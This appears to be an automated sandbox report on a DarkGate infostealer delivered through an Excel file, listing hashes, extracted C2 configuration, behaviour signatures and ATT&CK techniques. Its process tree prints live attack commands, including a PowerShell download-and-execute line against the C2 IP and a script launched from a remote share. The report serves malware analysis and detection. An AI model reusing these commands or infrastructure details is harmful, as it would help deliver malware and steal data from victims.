darkgate | 5a7c4b8d40cd4d7c06f11d4226edd65b734f4a24a1158c5926add4993863f09e

General

Target

statapril2024-7660.xlsx
Size

56KB
MD5

ea31e71d72077ff13d6e8a1078e9d8dc
SHA1

eedbcfaaef25079d16483da44fc579bf3733733f
SHA256

5a7c4b8d40cd4d7c06f11d4226edd65b734f4a24a1158c5926add4993863f09e
SHA512

e27fb2b995ecdd9039759f6812653106d3ca2be19ee192fdba95083f36f2ea2f9d82ac5338c18fa564d4340fe18482e1aef06b6ca3197f51d08447e62de17fa9
SSDEEP

768:ZFnM1dDlT2qpaOKFSGOJdGvoZCPAUJ1YxBardD2TSWGdCIKD15ogXnlq5gR:/mZ2u4OPKIxoEuDKJnlnR

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

C2

103.124.106.237

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
bedxvHpr
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/4560-70-0x0000000004AC0000-0x0000000004B34000-memory.dmp	family_darkgate_v6
behavioral2/memory/4560-72-0x0000000004AC0000-0x0000000004B34000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2340	4352	WScript.exe	85

Blocklisted process makes network request 4 IoCs

flow	pid	Process
32	1508	powershell.exe
33	1508	powershell.exe
35	1508	powershell.exe
38	1508	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
4560	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4352	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1508	powershell.exe
1508	powershell.exe
4560	AutoHotkey.exe
4560	AutoHotkey.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE
4352	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4352 wrote to memory of 2340	4352	EXCEL.EXE	96
PID 4352 wrote to memory of 2340	4352	EXCEL.EXE	96
PID 2340 wrote to memory of 1508	2340	WScript.exe	97
PID 2340 wrote to memory of 1508	2340	WScript.exe	97
PID 1508 wrote to memory of 4560	1508	powershell.exe	100
PID 1508 wrote to memory of 4560	1508	powershell.exe	100
PID 1508 wrote to memory of 4560	1508	powershell.exe	100
PID 1508 wrote to memory of 3876	1508	powershell.exe	101
PID 1508 wrote to memory of 3876	1508	powershell.exe	101

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3876	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\statapril2024-7660.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4352
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs"
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '103.124.106.237/wctaehcw')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1508
  - - C:\kady\AutoHotkey.exe
      "C:\kady\AutoHotkey.exe" C:/kady/script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:4560
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/kady/
      4⤵
      Views/modifies file attributes
      PID:3876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

1

T1564.001

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bqskrz21.oxs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

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C:\kady\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\kady\script.ahk

Filesize
441B

MD5
958cd4a849145b96e92e63ef4e152349

SHA1
19d79b480294e7c329c19faf87fc5e3320268caa

SHA256
8e7070383517cc127dfff26a726a47fc48a9169591e29c8d16df6fdd6d2c591e

SHA512
7852834cf31f55c6d97fdc204b59b8177d336c1f5ee1a14ae880e34c3e8c407953f1722274c040c93c5ac978f1a6ddb9d4a1b5019b6d3a99dd081440528210a0

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C:\kady\test.txt

Filesize
922KB

MD5
8ed12b37b69693e66f928cd39fc21c6c

SHA1
2ee8c14330d38f3ba3c23e4bb56c05b29191ff03

SHA256
70223ac25fecd28385f39f36367f93b045c312f062354497dd2702e7d295784d

SHA512
50daf960cd89efe9b562db00177f27f3ba9e0929be830406857d9879a49c58f62d5d03c1b01c83104f47784da02b2cc2fab28c9b653e1a1861d4b319271e2795

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memory/1508-68-0x00007FFA27290000-0x00007FFA27D51000-memory.dmp

Filesize
10.8MB

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memory/1508-49-0x00000258661B0000-0x0000025866372000-memory.dmp

Filesize
1.8MB

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memory/1508-47-0x0000025865A90000-0x0000025865AA0000-memory.dmp

Filesize
64KB

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memory/1508-48-0x0000025865A90000-0x0000025865AA0000-memory.dmp

Filesize
64KB

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memory/1508-46-0x00007FFA27290000-0x00007FFA27D51000-memory.dmp

Filesize
10.8MB

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memory/1508-39-0x000002584D920000-0x000002584D942000-memory.dmp

Filesize
136KB

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memory/4352-9-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-35-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-12-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-13-0x00007FFA0E0C0000-0x00007FFA0E0D0000-memory.dmp

Filesize
64KB

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memory/4352-14-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-15-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-16-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-17-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-18-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-19-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-20-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-22-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-21-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-10-0x00007FFA0E0C0000-0x00007FFA0E0D0000-memory.dmp

Filesize
64KB

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memory/4352-11-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-0-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

Filesize
64KB

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memory/4352-8-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-7-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

Filesize
64KB

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memory/4352-6-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-4-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-5-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

Filesize
64KB

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memory/4352-2-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

Filesize
64KB

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memory/4352-3-0x00007FFA50290000-0x00007FFA50485000-memory.dmp

Filesize
2.0MB

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memory/4352-1-0x00007FFA10310000-0x00007FFA10320000-memory.dmp

Filesize
64KB

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memory/4560-70-0x0000000004AC0000-0x0000000004B34000-memory.dmp

Filesize
464KB

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memory/4560-72-0x0000000004AC0000-0x0000000004B34000-memory.dmp

Filesize
464KB

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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